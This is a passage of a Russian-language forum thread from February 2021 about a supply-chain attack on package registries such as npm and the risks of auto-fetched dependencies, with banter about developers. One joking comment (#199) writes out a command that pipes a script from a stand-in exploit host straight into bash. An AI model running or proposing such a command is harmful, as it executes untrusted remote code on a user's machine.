| 128. Сообщение от Аноним (-), 10-Фев-21, 17:56 | +1 +/– | |
Это unsafe и не позволяет делать запланированное устаревание | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #41 | ||
| 129. Сообщение от пох. (?), 10-Фев-21, 17:57 | +2 +/– | |
дык, норм у него была подпись - в точности того чувака, который его честно создал. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #121 | ||
| 130. Сообщение от пох. (?), 10-Фев-21, 17:58 | –1 +/– | |
Ну ты же понимаешь, что необходимость поддерживать функции оригинала (скачав его отдельно в обход автоматики) только немного усложнит троянский код? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #122 | ||
| 131. Сообщение от Аноним (131), 10-Фев-21, 18:15 | –3 +/– | |
Вот зачем девопсы нужны. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #137 | ||
| 132. Сообщение от JL2001 (ok), 10-Фев-21, 18:15 | +/– | |
> сертифицированные операционные системы, поставить на которые обновлённый пакет - значит | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #106 | ||
| 133. Сообщение от JL2001 (ok), 10-Фев-21, 18:24 | +/– | |
> Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #115 Ответы: #152 | ||
| 134. Сообщение от cheater (?), 10-Фев-21, 18:25 | +1 +/– | |
> Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #41 Ответы: #146 | ||
| 135. Сообщение от JL2001 (ok), 10-Фев-21, 18:28 | +/– | |
> Похоже, что пакетный ад Javascript дал о себе знать. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #120 Ответы: #143 | ||
| 136. Сообщение от JL2001 (ok), 10-Фев-21, 18:30 | +/– | |
> Вообще-то когда скачивается пакет, должна подпись проверяться. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #121 Ответы: #167 | ||
| 137. Сообщение от Аноним (61), 10-Фев-21, 18:44 | –1 +/– | |
Девпсы бесполезные существа. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #131 Ответы: #188 | ||
138.
Сообщение от Леголас (ok), 10-Фев-21, 18:50
| +/– | |
Вы про Герасима? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #122 | ||
| 139. Сообщение от Аноним (139), 10-Фев-21, 19:01 | +/– | |
Поддерживаю. Собственно поэтому приходится у себя в гит репозитории хранить все эти миллиарды пакетов. Неудобно, да. Но куда деваться? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #45 | ||
| 140. Сообщение от Аноним (140), 10-Фев-21, 19:07 | +/– | |
Девляпсы опять налетели на проблемы говнорепозитариев... | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #141 | ||
| 141. Сообщение от Аноним (145), 10-Фев-21, 19:27 | +1 +/– | |
Смузи разработчики не умеют разрабатывать. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #140 | ||
| 142. Сообщение от Аноним (61), 10-Фев-21, 19:27 | +/– | |
Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #107 | ||
| 143. Сообщение от Аноним (145), 10-Фев-21, 19:28 | +4 +/– | |
Не так страшен жараскрипт как те кто на нем пишут. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #135 Ответы: #155 | ||
| 144. Сообщение от Аноним (145), 10-Фев-21, 19:29 | +/– | |
Местные комментаторы уже давно знают что даже в надежном источнике с проверенной подписью есть сишная дырень. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #105 Ответы: #161 | ||
| 145. Сообщение от Аноним (145), 10-Фев-21, 19:30 | +1 +/– | |
Заманивать хакера на живца/деньги/печеньки. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #126 | ||
| 146. Сообщение от Аноним (5), 10-Фев-21, 19:53 | –1 +/– | |
Даже если сделать "cargo vendor", то изначально все равно крейты попадут в локальное хранилище (подкаталог проекта) из ненадежного сайта crates.io, т.е. такие крейты не будут вызывать доверия. Я же предпочел бы, чтобы крейты брались из дистрибутива линукса. Точнее, мне самому это не так важно, а важно то, что такое требование могут выставить потенциальные заказчики - к гадалке не ходи! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #134 | ||
147.
Сообщение от topin89 (ok), 10-Фев-21, 20:08
| +5 +/– | |
Озвучу для тех, кому лень переходить: | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #65 Ответы: #202 | ||
| 148. Сообщение от Сишные дырени (?), 10-Фев-21, 20:09 | +1 +/– | |
Сильвупле | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #33 | ||
| 149. Сообщение от Аноним (149), 10-Фев-21, 20:29 | +1 +/– | |
Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в них и полно всяких devel-пакетов с крейтами Rust и модулями Go | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #41 | ||
| 150. Сообщение от пох. (?), 10-Фев-21, 20:34 | –1 +/– | |
Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого не испортился, и они планируют зайти с ним через недельку, как только закончат подсчитывать предыдущую добычу. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #123 | ||
| 151. Сообщение от Атон (?), 10-Фев-21, 21:12 | +/– | |
*банк | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #43 Ответы: #162 | ||
| 152. Сообщение от Аноним (152), 10-Фев-21, 22:25 | +2 +/– | |
В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотрит и правит перед компиляцией если нужно. Хотя я почти уверен, что у красной шляпы соглашение написано не хуже чем у MS. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #133 Ответы: #163 | ||
| 153. Сообщение от InuYasha (??), 10-Фев-21, 22:27 | +6 +/– | |
Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят :) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 | ||
| 154. Сообщение от Аноним (152), 10-Фев-21, 22:28 | +2 +/– | |
Микросервис в вебассемблю в контейнер в виртуальную машину в облаке. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #125 Ответы: #201 | ||
| 155. Сообщение от InuYasha (??), 10-Фев-21, 22:29 | +1 +/– | |
как то, что на нём пишут ) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #143 | ||
| 156. Сообщение от Аноним (156), 10-Фев-21, 23:38 | +1 +/– | |
а там написано, но это ж читать букавки надо, чему многи не обучены ))) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 | ||
| 157. Сообщение от italliano monkey (?), 11-Фев-21, 00:03 | +1 +/– | |
или просто Java-программист | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #102 | ||
| 158. Сообщение от srgazh (ok), 11-Фев-21, 00:13 | –1 +/– | |
75% от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это ДЫРА. Как бороться с этим node и тп... | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 159. Сообщение от Ilya Indigo (ok), 11-Фев-21, 01:01 | +1 +/– | |
Молодец человек! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #176 | ||
| 160. Сообщение от Аноним (160), 11-Фев-21, 02:10 | +1 +/– | |
Внешние автоматически выкачиваемые зависимости — это всегда риск. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #164 | ||
| 161. Сообщение от JL2001 (ok), 11-Фев-21, 02:12 | +/– | |
> Местные комментаторы уже давно знают что даже в надежном источнике с проверенной | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #144 | ||
| 162. Сообщение от JL2001 (ok), 11-Фев-21, 02:17 | +/– | |
> *банк | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #151 Ответы: #174 | ||
| 163. Сообщение от JL2001 (ok), 11-Фев-21, 02:20 | +/– | |
> В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #152 Ответы: #178 | ||
| 164. Сообщение от JL2001 (ok), 11-Фев-21, 02:24 | +/– | |
> Внешние автоматически выкачиваемые зависимости — это всегда риск. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #160 | ||
| 165. Сообщение от deeaitch (ok), 11-Фев-21, 04:05 | +/– | |
Вот кто бы сомневался во всех этох npn, ruby-чего-то там. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 166. Сообщение от Аноним (167), 11-Фев-21, 05:16 | +/– | |
Надуманная проблема для python. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 167. Сообщение от Аноним (167), 11-Фев-21, 05:19 | +/– | |
Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #136 Ответы: #179 | ||
| 171. Сообщение от anonymous (??), 11-Фев-21, 11:17 | +1 +/– | |
Против выступать легко. А что в замен предложите? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #45 | ||
| 172. Сообщение от anonymous (??), 11-Фев-21, 11:19 | +1 +/– | |
Во-первых в rust этой уязвимости нет. Во-вторых rust -- это про safety, а не про security. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #52 | ||
| 173. Сообщение от .NET (?), 11-Фев-21, 14:09 | +/– | |
А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один из его типов не используется? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 174. Сообщение от Атон (?), 11-Фев-21, 14:41 | –1 +/– | |
>> *банк | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #162 | ||
| 176. Сообщение от Аноним (176), 11-Фев-21, 15:49 | +2 +/– | |
А мог бы стать миллионом собирая фермы на ригах | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #159 | ||
| 178. Сообщение от fske (?), 11-Фев-21, 18:44 | +/– | |
>какая ответственность прописана у редхата/оракла/итд | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #163 | ||
| 179. Сообщение от JL2001 (ok), 11-Фев-21, 18:45 | +/– | |
> Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #167 | ||
| 180. Сообщение от ЧешкиЧехова (?), 11-Фев-21, 19:07 | +4 +/– | |
ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод рантайм. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #10 Ответы: #196, #204 | ||
| 181. Сообщение от еман (?), 11-Фев-21, 22:15 | +/– | |
в Go - ещё лучше: на go get, go лезет к гуглу и спрашивает у него, можно ли скачать такой-то пакет, и качает только после утвердительного ответа. так что, если пакета нет в общественнодоступном ынтернете, нужно пользоваться специальными параметрами и специальными конфигурациями. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #94 | ||
| 183. Сообщение от Bob (??), 12-Фев-21, 00:09 | +1 +/– | |
Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #84 | ||
| 184. Сообщение от Аноним (-), 12-Фев-21, 03:38 | –1 +/– | |
Так, блин, это ж программировать надо?! А вот это вебмакаки не умеют. Ну, сколько из вас хотя-бы код Хэмминга сможет накодить? Сами? Без подсматривания к другим и чужих либ? А чтоб еще и эффективно?! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #38 | ||
| 185. Сообщение от Аноним (-), 12-Фев-21, 03:39 | +1 +/– | |
> Правильно, если у тебя в большом проекте 1 000 000 однострочников | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #48 | ||
| 186. Сообщение от Аноним (-), 12-Фев-21, 03:43 | –3 +/– | |
> доступна только при FFI (с либами, написанными на других языках) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #68 | ||
| 187. Сообщение от Стереопаштет (?), 12-Фев-21, 06:10 | +1 +/– | |
Проблема не в навыках, а в том что рынку нужно быстро и дешево. За идеальных сферических коней в вакууме никто не собирается платить. И если ты предложишь бизнесу писать велосипеды с нуля или перепроверять каждую версию каждой зависимости - на тебя как минимум посмотрят как на сумасшедшего. Либо ты находишь балланс между затратами-сесурити-скоростью разработки-багами-фичами, либо идешь ночевать под мостом (зато ты гордый и правильный! Не смузихлеб и не девляпс.). | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #104 | ||
| 188. Сообщение от Рр (?), 12-Фев-21, 06:15 | –1 +/– | |
Ненавижу девопсов. Меня в детстве огромный лохматый девопс покусал за ногу. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #137 | ||
| 189. Сообщение от Аноним (189), 12-Фев-21, 14:41 | +/– | |
А зря. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #81 | ||
| 191. Сообщение от Аноним (189), 12-Фев-21, 14:43 | +/– | |
Другим урок. Расслабляться нельзя. Всё время надо быть на чеке. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 194. Сообщение от Аноним (194), 13-Фев-21, 00:49 | +/– | |
Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны растительному миру нашей планеты. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #51 | ||
| 195. Сообщение от Аноним (194), 13-Фев-21, 00:51 | +/– | |
Да. В интернете может что угодно в любой момент исчезнуть навсегда, не оставив следов, и не достучишься. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #113 | ||
| 196. Сообщение от Aga (??), 14-Фев-21, 00:03 | +/– | |
давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать все в условный index.php, чтобы чувствовать себя сильными кодерами | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #180 Ответы: #198 | ||
| 197. Сообщение от Аноним (-), 14-Фев-21, 05:43 | +/– | |
На этот случай есть безопасТное восстановление паролей через ваши безопасТные мобильники. Номера на которых сейчас не подделывает только ленивый. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #26 | ||
| 198. Сообщение от Аноним (-), 14-Фев-21, 08:14 | +2 +/– | |
> давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #196 Ответы: #203 | ||
| 199. Сообщение от Аноним (199), 14-Фев-21, 23:56 | +/– | |
в русте зависимости ставятся через wget https://sploit.onion/l33t.sh | bash. до менеджера пакета форк-бомба просто не дойдёт - сработает раньше. безопасность же. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 | ||
| 200. Сообщение от Аноним (200), 15-Фев-21, 14:14 | +/– | |
Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 )) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 | ||
| 201. Сообщение от Аноним (201), 16-Фев-21, 18:46 | +/– | |
А в яйце игла | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #154 | ||
| 202. Сообщение от rex (??), 18-Фев-21, 13:30 | +/– | |
В смысле, никто не думал заранее? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #147 | ||
| 203. Сообщение от rico (ok), 18-Фев-21, 18:52 | +/– | |
Принцип модульности Орлова: если из распечатки одного модуля программы можно свить веревку, на которой можно повесить программиста, его написавшего, то все это следует сделать. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #198 | ||
| 204. Сообщение от RedEyedMan (ok), 26-Фев-21, 14:09 | +/– | |
Вполне нормальное явление. Иначе зачем все эти либы и фреймворки, сильные обойдутся и без них. А я слабый, пользуюсь либами и фреймворками. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #180 | ||
| 205. Сообщение от Sample (??), 01-Мрт-21, 14:58 | +/– | |
Наши деды славные победы, вот где наши деды | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #102 | ||
|
Архив | Удалить |
Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема |
|
Закладки на сайте Проследить за страницей |
Created 1996-2025 by Maxim Chirkov Добавить, Поддержать, Вебмастеру |